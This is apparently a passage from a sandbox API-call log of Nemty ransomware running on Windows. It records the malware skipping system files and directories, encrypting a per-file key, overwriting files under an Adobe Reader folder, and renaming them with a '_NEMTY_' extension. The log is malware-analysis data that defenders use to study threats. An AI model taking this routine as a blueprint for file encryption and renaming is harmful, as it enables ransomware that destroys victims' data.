returned -1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="NTDETECT.COM") returned -1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="ntldr") returned -1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="MSDOS.SYS") returned -1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="IO.SYS") returned -1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="boot.ini") returned 1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="boot.ini") returned 1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="AUTOEXEC.BAT") returned 1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="ntuser.dat") returned -1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="desktop.ini") returned 1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="CONFIG.SYS") returned 1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="RECYCLER") returned -1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="BOOTSECT.BAK") returned 1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="bootmgr") returned 1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="programdata") returned -1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="appdata") returned 1 [0217.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="est32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="est32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est32.clx", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="est32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est32.clx", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="est32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.432] Sleep (dwMilliseconds=0x5) [0217.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x353ee170, dwHighDateTime=0x1d561e8)) [0217.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x353ee170, dwHighDateTime=0x1d561e8)) [0217.446] GetLastError () returned 0x0 [0217.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.446] GetLastError () returned 0x0 [0217.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.447] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.447] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.447] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0217.447] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="zft0T/DHvXC69saKpcnFIVoo/YADKG4HbqvN/KF9bdsgcnCFkN7qy1+NOABpzx/w\r\n0C5rvoe9bMfzAWaMHH6YstRCxNvpJywmjBijdnKwVC/K8/l2K36VkbP1aykFSwJf\r\nNDIfAtwiqg6j6hD0rNle3T3DXEvsPo43qFsUVYdVaIOF/RREfCsKh/MoePAt1qsB\r\nuXA7ZBc9WHXm7vQUSJ9yrNiFNMhhgiXvZdKHvN+goVaXJ1+WwqnK4+o0ocWvHMO7\r\n9nGoxtZ4BLlXV0CnRb7qs9Y242UxmOIX2GKPrSLW2w8TS00qI3YMT4QlzeUVNi7M\r\nqSe5BpAgix75o97lCW1vbA==\r\n", pcchString=0x653df5c) returned 1 [0217.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0217.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.447] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\est32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\est32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.448] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=32748) returned 1 [0217.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7fe0) returned 0x6354c48 [0217.448] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.448] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x7fe0, lpOverlapped=0x0) returned 1 [0217.452] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.452] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x7fe0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x7fe0, lpOverlapped=0x0) returned 1 [0217.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.452] SetFilePointer (in: hFile=0x320, lDistanceToMove=32748, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7fec [0217.452] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.452] CloseHandle (hObject=0x320) returned 1 [0217.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.452] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.452] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.453] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\est32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\est32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\est32.clx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\est32.clx._nemty_kgobjgd_")) returned 1 [0217.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.453] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1411a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1029, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="estphon.env", cAlternateFileName="")) returned 1 [0217.453] lstrcmpiW (lpString1="estphon.env", lpString2=".") returned 1 [0217.453] lstrcmpiW (lpString1="estphon.env", lpString2="..") returned 1 [0217.453] lstrcmpiW (lpString1="estphon.env", lpString2="...") returned 1 [0217.453] lstrcmpiW (lpString1="estphon.env", lpString2="windows") returned -1 [0217.454] lstrcmpiW (lpString1="estphon.env", lpString2="$RECYCLE.BIN") returned 1 [0217.454] lstrcmpiW (lpString1="estphon.env", lpString2="rsa") returned -1 [0217.454] lstrcmpiW (lpString1="estphon.env", lpString2="NTDETECT.COM") returned -1 [0217.454] lstrcmpiW (lpString1="estphon.env", lpString2="ntldr") returned -1 [0217.454] lstrcmpiW (lpString1="estphon.env", lpString2="MSDOS.SYS") returned -1 [0217.454] lstrcmpiW (lpString1="estphon.env", lpString2="IO.SYS") returned -1 [0217.454] lstrcmpiW (lpString1="estphon.env", lpString2="boot.ini") returned 1 [0217.454] lstrcmpiW (lpString1="estphon.env", lpString2="boot.ini") returned 1 [0217.454] lstrcmpiW (lpString1="estphon.env", lpString2="AUTOEXEC.BAT") returned 1 [0217.454] lstrcmpiW (lpString1="estphon.env", lpString2="ntuser.dat") returned -1 [0217.454] lstrcmpiW (lpString1="estphon.env", lpString2="desktop.ini") returned 1 [0217.454] lstrcmpiW (lpString1="estphon.env", lpString2="CONFIG.SYS") returned 1 [0217.454] lstrcmpiW (lpString1="estphon.env", lpString2="RECYCLER") returned -1 [0217.454] lstrcmpiW (lpString1="estphon.env", lpString2="BOOTSECT.BAK") returned 1 [0217.454] lstrcmpiW (lpString1="estphon.env", lpString2="bootmgr") returned 1 [0217.454] lstrcmpiW (lpString1="estphon.env", lpString2="programdata") returned -1 [0217.454] lstrcmpiW (lpString1="estphon.env", lpString2="appdata") returned 1 [0217.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="estphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="estphon.env", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="estphon.env", lpUsedDefaultChar=0x0) returned 11 [0217.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="estphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="estphon.env", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="estphon.env", lpUsedDefaultChar=0x0) returned 11 [0217.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="estphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="estphon.env", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="estphon.env", lpUsedDefaultChar=0x0) returned 11 [0217.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="estphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="estphon.env", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="estphon.env", lpUsedDefaultChar=0x0) returned 11 [0217.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.455] Sleep (dwMilliseconds=0x5) [0217.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x354142d0, dwHighDateTime=0x1d561e8)) [0217.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x354142d0, dwHighDateTime=0x1d561e8)) [0217.462] GetLastError () returned 0x0 [0217.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.462] GetLastError () returned 0x0 [0217.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.462] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.462] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.462] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0217.462] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="Cc3nTmdDmvbYFcf4K2QstvvFHf3aHYR1JJFn8lkqhhvkGJ6CA0vqzD2yMC/PANou\r\nJF3pqRmkgwExuWiPCmtoHLwyoDwuPVAwGhgqxH5zx0MqETv5vGecZM0GpYsKqCGX\r\nYw6cH3ZN3ttg9IISweGmEfzeeXCjsB05h8wPEqRqrCpeXDdt0ubiBvOptgFLTwd7\r\nqjzhx8+YsDlEVs0Xi9l6Mx90gHnZ6hMcb2IRpkpYA9zT22otXnkgeryFaLbiVQhZ\r\nK7EukQhy17Yugz57z58NlrWn44rlAcZyWkUtVGpJtlSYvrBQYfBkqKlKSrrAJ3oi\r\n4Fu0RmLBcy0oFCz6P6h1Lg==\r\n", pcchString=0x653df5c) returned 1 [0217.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0217.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.463] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\estphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\estphon.env"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.463] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=4137) returned 1 [0217.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1020) returned 0x6354c48 [0217.463] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.463] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x1020, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x1020, lpOverlapped=0x0) returned 1 [0217.478] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.478] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x1020, lpOverlapped=0x0) returned 1 [0217.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.479] SetFilePointer (in: hFile=0x320, lDistanceToMove=4137, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1029 [0217.479] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.479] CloseHandle (hObject=0x320) returned 1 [0217.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.479] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.479] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.479] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\estphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\estphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\estphon.env._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\estphon.env._nemty_kgobjgd_")) returned 1 [0217.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.480] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 